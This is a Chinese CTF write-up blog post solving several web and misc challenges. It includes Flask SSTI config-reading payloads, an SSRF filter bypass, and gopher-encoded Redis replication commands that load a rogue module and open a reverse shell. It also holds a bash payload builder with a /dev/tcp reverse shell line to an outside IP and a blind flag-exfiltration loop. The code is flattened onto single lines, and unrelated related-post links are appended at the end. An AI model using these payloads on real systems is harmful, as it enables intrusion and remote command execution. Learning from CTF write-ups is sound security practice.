文章目录

  • BUU
    • 0x00:[WesternCTF2018]shrine
    • 0x01:[网鼎杯 2020 玄武组]SSRFMe
  • HECTF
    • 0x00 ezphp
    • 0x01:ssrfme
    • 0x03:签到
  • 2020 安洵杯
    • 0x00:Bash
    • 0x01:王牌特工

BUU

每天一道题,冲冲冲!


0x00:[WesternCTF2018]shrine

首页便给了一段flask代码,简单分析一下

import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

发现这一段代码

app.config['FLAG'] = os.environ.pop('FLAG')
#pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。


意思便是该题将FLAG存储到了配置变量中,但下面的代码过滤了config以及()

这个题考察的是SSTI,那下面就要想办法去使用config查看所有应用程序的配置值(FLAG值应该包含在其中),需要构造一个和config作用相同的payload,可以使用flask两个内置函数进行构造

  1. url_for() – 用于反向解析,生成url
  2. get_flashed_messages() – 用于获取flash消息

先寻找一下全部全局变量

{{url_for.__globals__}}
{{get_flashed_messages.__globals__}}


发现有current_app全局变量,查看一下config

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config['FLAG']}}

0x01:[网鼎杯 2020 玄武组]SSRFMe

<?php
function check_inner_ip($url)
{$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);if (!$match_result){die('url fomat error');}try{$url_parse=parse_url($url);}catch(Exception $e){die('url fomat error');return false;}$hostname=$url_parse['host'];$ip=gethostbyname($hostname);$int_ip=ip2long($ip);return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}function safe_request_url($url)
{if (check_inner_ip($url)){echo $url.' is inner ip';}else{$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);$result_info = curl_getinfo($ch);if ($result_info['redirect_url']){safe_request_url($result_info['redirect_url']);}curl_close($ch);var_dump($output);}}
if(isset($_GET['url'])){$url = $_GET['url'];if(!empty($url)){safe_request_url($url);}
}
else{highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

这么长的代码,拆开来看,先看一下check_inner_ip函数

输入的需要匹配到http|https|gopher|dict,下面了解这几个函数,就清楚这段代码所要表达的意思了

  • parse_url:解析 URL,返回其组成部分
  • gethostbyname:返回主机名对应的 IPv4地址
  • ip2long:将 IPV4 的字符串互联网协议转换成长整型数字

再来查看safe_request_url函数要表达的意思,先判断是否是内网IP,如果不是,再跳转到下面。

  • curl_init — 初始化一个cURL会话
  • curl_setopt — 设置一个cURL传输选项
  • curl_exec — 执行一个cURL会话
  • curl_getinfo — 获取一个cURL连接资源句柄的信息


也是一种PHP的请求方式,那这存在什么漏洞那?

可以看篇文章
https://www.anquanke.com/post/id/86527
这个代码出现漏洞原因便在于,同时用了cURL和parse_url

所有的问题,几乎都是由URL解析器和请求函数的不一致造成的,即使有具体的规定,但是不同的编程语言仍然使用他们自己的实现

在cURL作为请求的实施者时,它最终将evil.com:80作为了目标
而其他的几种URL解析器则得到了不一样的结果,则产生了不一致。
当他们被一起使用时,可以被利用的有如下的几种组合

所以可以就构造payload,利用cURL请求外网,利用parse_url请求内网信息

?url=http://1em9n@0.0.0.0/hint.php

0.0.0.0代表本机ipv4的所有地址,使用ip2long函数处理后也是0,因此可以绕过去check_inner_ip函数的检测。

绕过去之后便发现这一段代码

得到redis的密码是root,这道题考察的是ssrf+redis getshell,但之前接触这方面的题过于少了,所以到这里是一点思路都没有

看了师傅们的WP,遇到ssrf+redis getshell这种的,考察一般都是以下几种姿势:

  • 可写webshell
  • 写ssh公钥
  • 写crontab反弹shell(仅限centos)
  • 主从复制RCE

这道题看师傅们的WP,用的方法都是主从复制RCE,什么是主从复制那?

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
在redis4.0版本以上,可以进行主从复制,主从复制是为了备份文件,即主机复制写,从机负责读。思路就是开启恶意服务,让靶机redis认为此为redis服务器,利用主从复制,将恶意构造的exp.so文件加载到redis之中,从而实现getshll或命令执行


https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
要进行主从复制RCE,就需要利用到这两个工具,第一个用于生成payload,也可以启动恶意服务,第二个主要是exp.so。注意需要将第二个工具exp.so导入到第一个工具下,也就是和rogue-server.py同目录,这里先开启一下rogue-server.py 用于伪装为主redis,它开启的端口为6666


修改ssrf-redis.py



运行一下

生成了payload,但无法利用

看了师傅们的WP,就手动去构造吧,然后再进行二次url编码(因为用到了curl)

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
//设置备份文件路径为/tmp/ 只有/tmp有权限 ,只需要有读权限即可,所以设置目录的时候要多试试

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520172.16.176.127%25206666%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 172.16.176.127 6666
quit
#设置备份文件名为:exp.so


gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520172.16.176.127%25206663%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 172.16.176.127 6663
quit
#导入 exp.so ,反弹shell到172.16.176.127:6663



通过这道题学到了很多东西,ssrf+redis的考法还有很多种,会在另一篇博客中专门总结一下。

参考博客
https://www.jianshu.com/p/a940731cddaf

HECTF

0x00 ezphp


第一个if条件,md5强类型,没有强制限制类型,所有用数组就可以

param1[]=123&param2[]=111

strtr() 函数转换字符串中特定的字符。
自己本地测试一下就知道了

第一个if($md5_1 != $md5_2)不能使用hash弱类型比较,经过strtr() 函数替换之后,再使用hash弱类型绕过,既然这个函数可以将md5中出现的cxhp给替换成0123,第一个参数找一个数字(必须为全数字),md5加密后只要是ce开头的即可

payload:

http://121.196.32.184:8081/?param1[]=123&param2[]=111&str1=2120624&str2=QNKCDZO


这里在写脚本找ce开头的数字时挺有趣的
md5加密之后只可能含有以下a、b、c、d、e、f这个几个字符
在写脚本的时候,一开始只认为只要开头是0e即可,但是测试发现行不通,明明也是0e开头,为什么不相等那?如:


并没有出现我们想要的flag,一开始以为是位数的问题,结果不是,观察了通用的Hash 比较缺陷,有一个共同的特征

后面都是数字,不包含字母,才能使用科学计数法进行弱类型比较

import hashlib
def md5(f):return hashlib.md5(f).hexdigest()
for i in range(0, 10000000):if 'c' in md5(str(i))[0:2]:if 'a' not in md5(str(i))[2:]:if 'b' not in md5(str(i))[2:]:if 'e' not in md5(str(i))[2:]:if 'd' not in md5(str(i))[2:]:if 'f' not in md5(str(i))[2:]:print 'i:' + str(i) + ' md5:' + md5(str(i))

0x01:ssrfme


正则表达式限制我们不能使用SSRF file_get_content函数的黑魔法了,那只能按照http或https协议来,然后下面有一个异常处理代码,如果发生异常则返回flase,恰好最后一段代码有一个,所以我们只要让代码异常抛出即可利用函数读取flag。

但这个异常不知道要如何利用,往下面看发现可以从这段代码中得到flase

    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;

只要满足传入的地址经过ip2long函数处理后和前面不相等即可

简单了解这几个函数的作用:

  • parse_url:解析 URL,返回其组成部分
  • gethostbyname:返回主机名对应的 IPv4地址
  • ip2long:将 IPV4 的字符串互联网协议转换成长整型数字

0.0.0.0代表本机ipv4的所有地址,使用ip2long函数处理后也是0,便可以使用这个进行读取flag

payload:

?url=http://0.0.0.0/flag.php

0x03:签到

源代码给出手机号,下面就是爆破验证码

得到验证码之后重置密码,登陆即可获取flag

2020 安洵杯

0x00:Bash

代码也很简单,命令执行,但是构造payload只能使用这几个${#}\\(<)\去构造,还是做题少,之前见的无字母数字构造webshell的都不行,只能看官方的WP。

先了解几个Shell符号

  1. $# => 0

$# 的意思是参数的个数,这道题没有其余的参数所以会是 0
stdin是标准输入,一般指键盘输入到缓冲区里的东西
<<< 的用途是将任意字符串交由前面的指令执行

  1. $(($#<$$)) => 1

(())表示整数扩展,只是执行,并不会返回值,$$ 代表的是目前的 pid ,pid 会 > 0 所以可以得到 1,${##} 也可以得到1

  1. $((1<<1)) => 2

<<双小于号,用来将后继的内容重定向到左侧命令的stdin中

  1. $((2#bbb)) => 任意数字

將 bbb 以二进制制转换成数字,其中2#表示二进制
命令替换: $(command)
算术扩展: $((arithmetic))
stdin重定向: command < file
stdin文字重定向: command <<< text
可变的字符串长度: ${#variable}
bash的参数数量: $#
bash进程ID: $$

Linux下高效编写Shell——shell特殊字符汇总
因为bash 可以用 $'\ooo' 的形式来表达任意字节(ooo 是字节转ascii 的八进制),所以可以执行任意命令

${!#}<<<$'\154\163'

${!#}<<<${!#}\<\<\<\$\'\\${##}$#${##}\'
也就是
$0<<<$'\101'
101是A的ASCII码值,所以也是在尝试执行命令A


所以思路就是构造二进制,然后通过ASCII码转化得到所有字母,比如:

$'\154'
${!#}<<<$((2#${##}$#$#${##}${##}$#${##}$#))
#2#表示二进制,再替换掉2
${!#}<<<$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))
$'\163'
${!#}<<<$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))

所以构造payload

#通过2进制得到所有的数字,八进制可以执行命令,所以得到七个数字即可
n = dict()
n[0] = '$#'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$(($((${##}<<${##}))<<${##}))'
n[5] = '$(($((${##}<<${##}))#${##}$#${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}$#))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

因为这道题0也在白名单中,所以可以将$#直接替换为0也可以,但还有一个问题,仔细看前面举的$'\154'这个例子,如果bash直接解析的话是l,但是第一次解析的话只是数字

所以转换成数字之后就需要用到 <<< 来重定向了,但是一层不够,只用一层会出现 bash: $'\154': command not found 这样的报错,bash一次解析只能解析到成数字,需要第二次解析。需要给原先的命令添加转义字符

如:ls \
$0<<<$0\<\<\<\$\'\\${##}$(($((${##} <<${##}))#${##}0${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##} <<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$((${##}<<$((${##} <<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\'


无命令回显就用最常见的方法,反弹shell或者是盲注,记录一下师傅的脚本

import requests
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'f=''def str_to_oct(cmd):                                #命令转换成八进制字符串s = ""for t in cmd:o = ('%s' % (oct(ord(t))))[2:]s+='\\'+oreturn sdef build(cmd):                                     #八进制字符串转换成字符payload = "$0<<<$0\<\<\<\$\\\'"s = str_to_oct(cmd).split('\\')for _ in s[1:]:payload+="\\\\"for i in _:payload+=n[int(i)]return payload+'\\\''def get_flag(url,payload):                          #盲注函数try:data = {'cmd':payload}r = requests.post(url,data,timeout=1.5)except:return Truereturn False#弹shell
'''
url = "http://121.41.231.75:7001/"
get_flag(url,(build('bash -i >& /dev/tcp/121.41.231.75/4444 0>&1')))
'''#盲注
# '''
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
for i in range(1,50):for j in a:cmd=f'cat /flag|grep ^{f+j}&&sleep 3'url = "http://121.41.231.75:7001/"if get_flag(url,build(cmd)):breakf = f+jprint(f)
#'''

0x01:王牌特工


第一眼看到的是flagbox,然后就binwalk一下,得到一个key值,使用VeraCrypt挂载一下硬盘

但是是假的,回过头看一下发现还有coolboy.swp没有进行分析,应该是隐藏在这里

先用 fsstat findme 查看镜像信息

然后用 ext3grep --inode 2 findme 查看文件目录

接着用 ext3grep --restore-file .coolboy.swp findme 恢复指定的文件


但是是空的,使用vim -r RESTORED_FILES/.coolboy.swp 恢复它的内容。

得到真正的key值,再重新挂载flagbox,即可得到flag

一周刷题记录 | WebMisc相关推荐

  1. BZOJ刷题记录---提高组难度

    BZOJ刷题记录---提高组难度 总目录详见https://blog.csdn.net/mrcrack/article/details/90228694 序号 题号 算法 思想难度 实现难度 总难度 ...

  2. 重走长征路---OI每周刷题记录---9月21日 2013 AC 17题

    总目录详见https://blog.csdn.net/mrcrack/article/details/84471041 做题原则,找不到测评地址的题不做.2018-11-28 重走长征路---OI每周 ...

  3. 重走长征路---OI每周刷题记录---11月4日 2013

    总目录详见https://blog.csdn.net/mrcrack/article/details/84471041 做题原则,找不到测评地址的题不做.2018-11-28 重走长征路---OI每周 ...

  4. LeetCode刷题记录15——21. Merge Two Sorted Lists(easy)

    LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...

  5. LeetCode刷题记录14——257. Binary Tree Paths(easy)

    LeetCode刷题记录14--257. Binary Tree Paths(easy) 目录 前言 题目 语言 思路 源码 后记 前言 数据结构感觉理论简单,实践起来很困难. 题目 给定一个二叉树, ...

  6. LeetCode刷题记录13——705. Design HashSet(easy)

    LeetCode刷题记录13--705. Design HashSet(easy) 目录 LeetCode刷题记录13--705. Design HashSet(easy) 前言 题目 语言 思路 源 ...

  7. LeetCode刷题记录12——232. Implement Queue using Stacks(easy)

    LeetCode刷题记录12--232. Implement Queue using Stacks(easy) 目录 LeetCode刷题记录12--232. Implement Queue usin ...

  8. LeetCode刷题记录11——290. Word Pattern(easy)

    LeetCode刷题记录11--290. Word Pattern(easy) 目录 LeetCode刷题记录11--290. Word Pattern(easy) 题目 语言 思路 源码 后记 题目 ...

  9. LeetCode刷题记录10——434. Number of Segments in a String(easy)

    LeetCode刷题记录10--434. Number of Segments in a String(easy) 目录 LeetCode刷题记录9--434. Number of Segments ...

最新文章

  1. String和C#中的string有什么区别?
  2. leetcode算法题--用两个栈实现队列
  3. java用log.i打印数组_java-使用JSCH将ssh日志打印到列表(android)
  4. redis 附近的人_使用redis—geo api实现搜索附近的人,自己写的一个composer包
  5. BootStrap笔记-表格方面的配置
  6. Python----虚拟环境
  7. 实用的 Python 之 feedparser
  8. 一篇好奇心文,带你看懂基金的运营全貌
  9. 学习chirp信号笔记
  10. Ubuntu安装酷的桌面监控陈程序Conky
  11. 阿里云虚拟机转让(RAM创建账户)
  12. 计算机考证一般多少钱
  13. 基于博客系统的访客日志记录
  14. 基于RSA算法实现软件注册码原理初讨
  15. Django 之ORM(一)
  16. 关于Lock锁用法的详细讲解(案例驱动,手把手教学)
  17. 量化交易都有哪些主要的策略模型?
  18. 《在(虚拟机)ubuntu16.04上进行openwrt环境搭建及源码下载》
  19. 制作绿化版Python解锁Python桌面程序的高级打包方式
  20. Assembly 收视率

热门文章

  1. 百度是php写的,百度大秘密,百度也是PHP写的!有证据!千真万确!
  2. android-ultra-pull-to-refresh list,[Android]Ultra-Pull-To-Refresh之listview下拉刷新、上拉加载的用例...
  3. addeventlistener不支持ajax_十万个Web前端面试题之AJAX、axios、fetch的区别
  4. 完整的Ubuntu18.04深度学习GPU环境配置,英伟达显卡驱动安装、cuda9.0安装、cudnn的安装、anaconda安装
  5. 浦发银行招聘计算机类笔试题,2019浦发银行招聘计算机模拟试题及答案
  6. ​从熵不变性看Attention的Scale操作
  7. 一块V100运行上千个智能体、数千个环境,这个曲率引擎框架实现RL百倍提速
  8. 让机器学会看图说话:Image Caption任务最新综述
  9. ICCV 2019 | 基于关联语义注意力模型的图像修复
  10. The POM for com.ruifeng.tjtaxiqy:shiro:jar:0.0.1-SNAPSHOT is missing, no dependency information avai